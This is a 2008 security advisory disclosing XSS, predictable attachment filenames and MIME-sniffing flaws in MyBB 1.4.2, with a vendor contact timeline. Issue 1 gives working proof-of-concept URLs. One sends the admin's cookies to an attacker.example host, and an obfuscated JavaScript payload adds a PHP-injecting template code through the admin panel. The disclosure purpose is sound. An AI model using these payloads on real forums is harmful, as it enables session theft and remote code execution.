mybbs142-multi.txt

`======================================================================  
  
Advisory: MyBB 1.4.2 - Multiple Vulnerabilities  
Release Date: October 27 2008  
Application: MyBB  
Version: MyBB 1.4.2  
Platform: PHP  
Vendor URL: http://www.mybboard.net/  
Authors: Kellanved, NeoThermic, Techie-Micheal  
  
=======================================================================  
  
Overview  
  
Due to various failures in sanitising user input, MyBB is vulnerable  
to XSS. This is enough to circumvent CSRF protection and to inject  
PHP code. We deeply regret having to disclose this, but we were not  
able receive an appropriate response due to the vendor claiming these  
issues are not vulnerabilities when they are and their security tracker  
being down.  
  
Therefore, this is being released so that the users of MyBB will be  
able to find a patch to keep them safe from these severe issues.  
  
=======================================================================  
  
Discussion  
  
MyBB is a discussion board that has been around for a while; it has  
evolved from other bulletin boards into the forum package it is today.  
Therefore, it is a professional and efficient discussion board,  
developed by an active team of developers.  
  
  
Due to the misuse/improper validation of the url parameter during an AJAX  
request, we were able to cause XSS, contrary to statements made  
by the developers of MyBB. This XSS has the ability to cause  
Remote Code Execution, making it critical in nature. As XSS can be easily  
used to circumvent MyBB's CSRF protection, it is possible to inject PHP  
code into the template via the ACP with any of the XSS issues. This is  
facilitated by the constant form tokens used in MyBB and by the use of  
PHP double-quoted strings as template variables. The former makes it easy  
to write escalating exploits, the latter allows PHP injection using the  
curly brace notation.  
  
Secondly, it is possible to guess the attachment filenames based  
on known factors, making it easy to break IE's poor MIME handling,  
including IE8. Given the user ID and post time, uploaded files are easily  
"guessed."  
  
Lastly, due to an incomplete fix, MyBB does not properly fix a MIME-  
sniffing issue, making it possible to exploit IE6-8.  
  
=======================================================================  
  
  
Issue 1: XSS using the AJAX switch for redirects  
  
The redirect() function uses an AJAX switch to allow JavaScript redirects  
instead of HTTP.  
  
This can be exploited by using single quotes which are not escaped by  
htmlspecialchars. This XSS is particularly grave, as it affects moderators  
and administrators, allowing attackers to take actions with escalated  
privileges, which can result in PHP and SQL injection (see recent vB exploits).  
  
This was not fixed in 1.4.2.  
  
PoC:  
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url='  
%2Balert('XSS!')//  
  
Cookie Stealing PoC:  
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.attacker.example/cookiejar.php?c=%27%2Bdocument.cookie//  
  
Remote Code Execution PoC:  
http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27)%2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))//  
  
  
All that is required is an active admin session for cookie stealing and  
Remote Code Execution.  
  
This adds the BBcode evil and can be used as follows:  
  
evilphpinfo()evil  
  
Note: The %20 padding is necessary and must be custom-tailored to the  
victim due to how  
MyBB handles posting, if using the posting form. However, CSRF can be  
used instead of posting  
directly to the site.  
  
Issue 2: "Guessing" of attachment filenames  
  
On certain server setups running MyBB, it is possible to guess the filename  
of an uploaded file. The code in question is this:  
  
$filename = "post_".$mybb->user['uid']."_".time().".attach";  
  
This creates a filename of the following: post_1234_[unix timestamp].attach.  
  
This makes it very easy to guess the filename and bypass any sort of MIME-  
sniffing protection. It also means privilege escalation, as attachments can  
be read regardless of the user's permissions. It is not even hard to guess the  
filename without knowing the post time - just a few million attempts due to the  
weak randomization used.  
  
Issue 3: Incomplete protection against MIME-sniffing.  
  
MyBB fails to properly deliver uploaded files in a way that avoids  
MIME-sniffing by the Internet Explorer family of browsers. This can  
be exploited to upload files that will be interpreted as HTML by  
Internet Explorer. As this vulnerability is present in many applications,  
we will not provide a PoC.  
  
  
None of the reported issues were fixed in the 1.4.2 release or since.  
  
=======================================================================  
  
History  
  
August 18 2008: Vendor contacted  
September 02 2008: Vendor contacted again, due to no response  
September 03 2008: Vendor announced full source audit to be performed  
by Gulftech  
September 17 2008: Patch released, vulnerabilities incorrectly  
credited to Gulftech, two out of three vulnerabilities left  
exploitable, with the XSS and the MIME-sniffing  
September 17 2008: After learning about the release from sources other  
than the vendor, FD  
September 23/24 2008: Emailed again in an attempt to ensure MyBB  
understood the severity of the MIME-sniffing vulnerability and  
alerting them to the XSS  
October 05/06 2008: MyBB replied that the XSS was a non-issue  
October 27 2008: Release after MyBB has failed to release a fix after  
numerous attempts to explain the severity of the vulnerabilities,  
Issue 2 was previously unreported  
  
=======================================================================  
  
=======================================================================  
  
Solution  
  
For users: Per usual, update as soon as a patch becomes available.  
  
For MyBB: Give credit to researchers where due.  
  
=======================================================================  
  
Fun quote for the day (and mention of a really good book):  
  
"What we found was startling: Security and coding flaws were so  
prevalent that an attack might be delayed because the attacker might  
get stuck trying to choose from all the different vulnerabilities to  
exploit without knowing where to turn first. (Such delay tactics are  
not recommended as a security strategy.)" - Aviel D. Rubin, Exploiting  
Software: How to Break Code, Foreword  
`